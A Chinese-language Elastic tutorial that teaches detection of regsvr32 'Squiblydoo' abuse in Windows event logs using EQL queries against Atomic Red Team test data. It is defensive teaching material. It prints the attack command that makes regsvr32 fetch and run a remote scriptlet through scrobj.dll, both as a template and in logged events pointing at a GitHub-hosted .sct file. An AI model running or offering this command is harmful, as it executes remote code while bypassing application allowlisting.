示例:使用 EQL 检测威胁
编辑示例:使用 EQL 检测威胁
编辑本示例教程演示如何使用 EQL 检测安全威胁和其他可疑行为。在此场景中,您的任务是检测 Windows 事件日志中的 regsvr32 滥用。
regsvr32.exe
是一个内置的命令行实用程序,用于在 Windows 中注册 .dll
库。作为原生工具,regsvr32.exe
具有可信状态,使其可以绕过大多数允许列表软件和脚本阻止程序。有权访问用户命令行的攻击者可以使用 regsvr32.exe
通过 .dll
库运行恶意脚本,即使在其他情况下禁止此类脚本的计算机上也是如此。
regsvr32 滥用的一种常见变体是 Squiblydoo 攻击。在 Squiblydoo 攻击中,regsvr32.exe
命令使用 scrobj.dll
库来注册和运行远程脚本。这些命令通常如下所示
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
设置
编辑本教程使用来自 Atomic Red Team 的测试数据集,其中包括模拟 Squiblydoo 攻击的事件。该数据已映射到 Elastic Common Schema (ECS) 字段。
开始操作
-
resp = client.indices.put_index_template( name="my-data-stream-template", index_patterns=[ "my-data-stream*" ], data_stream={}, priority=500, ) print(resp)
response = client.indices.put_index_template( name: 'my-data-stream-template', body: { index_patterns: [ 'my-data-stream*' ], data_stream: {}, priority: 500 } ) puts response
const response = await client.indices.putIndexTemplate({ name: "my-data-stream-template", index_patterns: ["my-data-stream*"], data_stream: {}, priority: 500, }); console.log(response);
PUT /_index_template/my-data-stream-template { "index_patterns": [ "my-data-stream*" ], "data_stream": { }, "priority": 500 }
- 下载
normalized-T1117-AtomicRed-regsvr32.json
。 -
使用批量 API 将数据索引到匹配的数据流
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-
使用cat indices API验证数据是否已索引
resp = client.cat.indices( index="my-data-stream", v=True, h="health,status,index,docs.count", ) print(resp)
response = client.cat.indices( index: 'my-data-stream', v: true, h: 'health,status,index,docs.count' ) puts response
const response = await client.cat.indices({ index: "my-data-stream", v: "true", h: "health,status,index,docs.count", }); console.log(response);
GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
响应应显示
docs.count
为150
。health status index docs.count yellow open .ds-my-data-stream-2099.12.07-000001 150
获取 regsvr32 事件的计数
编辑首先,获取与 regsvr32.exe
进程关联的事件计数
resp = client.eql.search( index="my-data-stream", filter_path="-hits.events", query="\n any where process.name == \"regsvr32.exe\" \n ", size=200, ) print(resp)
const response = await client.eql.search({ index: "my-data-stream", filter_path: "-hits.events", query: '\n any where process.name == "regsvr32.exe" \n ', size: 200, }); console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events { "query": """ any where process.name == "regsvr32.exe" """, "size": 200 }
|
|
匹配任何 |
|
最多返回 200 个匹配事件的命中。 |
响应返回 143 个相关事件。
{ "is_partial": false, "is_running": false, "took": 60, "timed_out": false, "hits": { "total": { "value": 143, "relation": "eq" } } }
检查命令行工件
编辑regsvr32.exe
进程与 143 个事件相关联。但是 regsvr32.exe
最初是如何调用的?又是谁调用的?regsvr32.exe
是一个命令行实用程序。将结果范围缩小到使用命令行的进程
resp = client.eql.search( index="my-data-stream", query="\n process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n ", ) print(resp)
const response = await client.eql.search({ index: "my-data-stream", query: '\n process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n ', }); console.log(response);
GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" and process.command_line.keyword != null """ }
该查询匹配一个 event.type
为 creation
的事件,表明 regsvr32.exe
进程的启动。根据事件的 process.command_line
值,regsvr32.exe
使用 scrobj.dll
注册一个脚本 RegSvr32.sct
。这符合 Squiblydoo 攻击的行为。
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } } ] } }
检查恶意脚本加载
编辑检查 regsvr32.exe
是否稍后加载 scrobj.dll
库
resp = client.eql.search( index="my-data-stream", query="\n library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n ", ) print(resp)
const response = await client.eql.search({ index: "my-data-stream", query: '\n library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n ', }); console.log(response);
GET /my-data-stream/_eql/search { "query": """ library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" """ }
该查询匹配一个事件,确认已加载 scrobj.dll
。
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } } ] } }
确定成功的可能性
编辑在许多情况下,攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用 EQL 序列查询 来检查以下一系列事件
regsvr32.exe
进程- 由同一进程加载
scrobj.dll
库 - 同一进程的任何网络事件
根据先前响应中看到的命令行值,您可以预期会找到匹配项。但是,此查询并非针对该特定命令而设计。相反,它查找足够通用的可疑行为模式,以检测类似的威胁。
resp = client.eql.search( index="my-data-stream", query="\n sequence by process.pid\n [process where process.name == \"regsvr32.exe\"]\n [library where dll.name == \"scrobj.dll\"]\n [network where true]\n ", ) print(resp)
const response = await client.eql.search({ index: "my-data-stream", query: '\n sequence by process.pid\n [process where process.name == "regsvr32.exe"]\n [library where dll.name == "scrobj.dll"]\n [network where true]\n ', }); console.log(response);
GET /my-data-stream/_eql/search { "query": """ sequence by process.pid [process where process.name == "regsvr32.exe"] [library where dll.name == "scrobj.dll"] [network where true] """ }
该查询匹配一个序列,表明攻击可能已成功。
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "sequences": [ { "join_keys": [ 2012 ], "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } }, { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } }, { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "EF5MJXMBMk1dGnErnBa9", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573238680000, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" }, "network": { "protocol": "tcp", "direction": "outbound" } } } ] } ] } }